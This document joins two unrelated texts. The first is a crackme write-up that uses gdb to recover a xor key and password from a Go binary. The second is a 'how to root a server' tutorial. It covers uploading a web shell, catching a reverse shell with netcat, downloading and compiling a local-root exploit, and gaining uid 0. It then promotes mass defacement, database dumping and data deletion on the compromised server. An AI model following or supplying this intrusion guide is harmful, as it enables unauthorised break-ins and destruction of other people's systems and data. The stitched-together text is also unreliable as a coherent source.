Ragnar 2010

Marv

This file is an 32bits elf binary, compiled from go language (i guess ... coded by @nibble_ds ;)

The binary has some debugging symbols, which is very helpful to locate the functions and api calls.

GO source functions:

- main.main

- main.function.001

If the binary is executed with no params, it prints "Nope!", the bad guy message.

~/ncn$ ./inbincible

Nope!

Decompiling the main.main function I saw two things:

1. The Argument validation: Only one 16 bytes long argument is needed, otherwise the execution is finished.

2. The key IF, the decision to dexor and print byte by byte the "Nope!" string OR dexor and print "Yeah!"

The incoming channel will determine the final message.

Dexor and print each byte of the "Nope!" message.

This IF, checks 16 times if the go channel reception value is 0x01, in this case the app show the "Yeah!" message.

Go channels are a kind of thread-safe queue, a channel_send is like a push, and channel_receive is like a pop.

If we fake this IF the 16 times, we got the "Yeah!" message:

(gdb) b *0x8049118
(gdb) commands
>set {char *}0xf7edeef3 = 0x01
>c
>end

(gdb) r 1234567890123456
tarting program: /home/sha0/ncn/inbincible 1234567890123456
...
Yeah!

Ok, but the problem is not in main.main, is main.function.001 who must sent the 0x01 via channel.

This function xors byte by byte the input "1234567890123456" with a byte array xor key, and is compared with another byte array.

=> 0x8049456: xor %ebp,%ecx

This xor, encode the argument with a key byte by byte

The xor key can be dumped from memory but I prefer to use this macro:

(gdb) b *0x8049456
(gdb) commands
>i r ecx
>c
>end
(gdb) c

Breakpoint 2, 0x08049456 in main.func ()
ecx 0x12 18

Breakpoint 2, 0x08049456 in main.func ()
ecx 0x45 69

Breakpoint 2, 0x08049456 in main.func ()
ecx 0x33 51

Breakpoint 2, 0x08049456 in main.func ()
ecx 0x87 135

Breakpoint 2, 0x08049456 in main.func ()
ecx 0x65 101

Breakpoint 2, 0x08049456 in main.func ()
ecx 0x12 18

Breakpoint 2, 0x08049456 in main.func ()
ecx 0x45 69

Breakpoint 2, 0x08049456 in main.func ()
ecx 0x33 51

Breakpoint 2, 0x08049456 in main.func ()
ecx 0x87 135

Breakpoint 2, 0x08049456 in main.func ()
ecx 0x65 101

Breakpoint 2, 0x08049456 in main.func ()
ecx 0x12 18

Breakpoint 2, 0x08049456 in main.func ()
ecx 0x45 69

Breakpoint 2, 0x08049456 in main.func ()
ecx 0x33 51

Breakpoint 2, 0x08049456 in main.func ()
ecx 0x87 135

Breakpoint 2, 0x08049456 in main.func ()
ecx 0x65 101

Breakpoint 2, 0x08049456 in main.func ()
ecx 0x12 18

The result of the xor will compared with another array byte, each byte matched, a 0x01 will be sent.

The cmp of the xored argument byte,
will determine if the channel send 0 or 1

(gdb) b *0x0804946a
(gdb) commands
>i r al
>c
>end

At this point we have the byte array used to xor the argument, and the byte array to be compared with, if we provide an input that xored with the first byte array gets the second byte array, the code will send 0x01 by the channel the 16 times.

Now web have:

xorKey=[0x12,0x45,0x33,0x87,0x65,0x12,0x45,0x33,0x87,0x65,0x12,0x45,0x33,0x87,0x65,0x12]

mustGive=[0x55,0x75,0x44,0xb6,0x0b,0x33,0x06,0x03,0xe9,0x02,0x60,0x71,0x47,0xb2,0x44,0x33]

Xor is reversible, then we can get the input needed to dexor to the expected values in order to send 0x1 bytes through the go channel.

>>> x=''
>>> for i in range(len(xorKey)):
... x+= chr(xorKey[i] ^ mustGive[i])
...
>>> print x

G0w1n!C0ngr4t5!!

And that's the key :) let's try it:

~/ncn$ ./inbincible 'G0w1n!C0ngr4t5!!'
Yeah!

Got it!! thanx @nibble_ds for this funny crackme, programmed in the great go language. I'm also a golang lover.

HOW TO ROOT A SERVER?

There are 3 ways to get ROOT on the server :
1 – With local Root.
2 – With SQL by reading the same important files on it root password.
3 – With exploit on software (Buffer Overflow).

In this post, we will explain local Root. I will explain the other ways soon in some other post.
OK, let's back to work.

After Uploading your shell on the server and getting the local root you will do a back connect and run the local root to Get root. This is a small idea of how it works in the next step you will see how to

find local root and run it to get root access.

HOW TO SEARCH LOCAL ROOT?

First of all we you need to know what version of Kernel.

You can know that from your shell, for example, this version is 2.6.18 – 2012

Go to EXECUTE on your shell and write "uname -a". You will get the same result, by the way.

Now how to find the local root.

You can use various websites like Exploit-db, packetstormsecurity, vfocus, injector, etc who provides these local roots. One more thing to notice is, that there exist two types of local roots :
1. Local.C: which are not ready.
2. Local: ready to use.

HOW TO GET ROOT ACCESS?

First, you need a shell with a Back Connect option like this :

Enter your "Public IP Address" in SERVER, the port you want to connect on and leave it, Perl, this time, and Finally connect.

So now you must receive the back connect with a Tool named netcat u can download it from the
net. After that open your terminal if you are under Linux or CMD if you are under Windows. I will explain only Linux, and for Windows, its all the same.

After that Follow the steps :

1- Press nc -vlp 433

2- Wget [the link of the local-Root.zip]

3 – unzip local-Root.zip

4 – chmod 777 local.c

5 – now to change the local-root from local.c > local

gcc local.c -o local Then you will find local.c transformed to local

6 – chmod 777 local

7 – ./local to local rootwork

8 – su
then see your id uid=0(root) gid=0(root) groups=0(root)

Getting UID=0 means, u had got root privileges and hence can do a variety of stuff on the remote server say Mass deface, dump database, redirect sites, change content, etc etc.

AFTER THE ROOT

As server gets rooted, you're able to do the many things with it like I mentioned above. Such as, withdrawal of domains, massive deface and also deletion of the data completely.

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HOW TO ROOT A SERVER?

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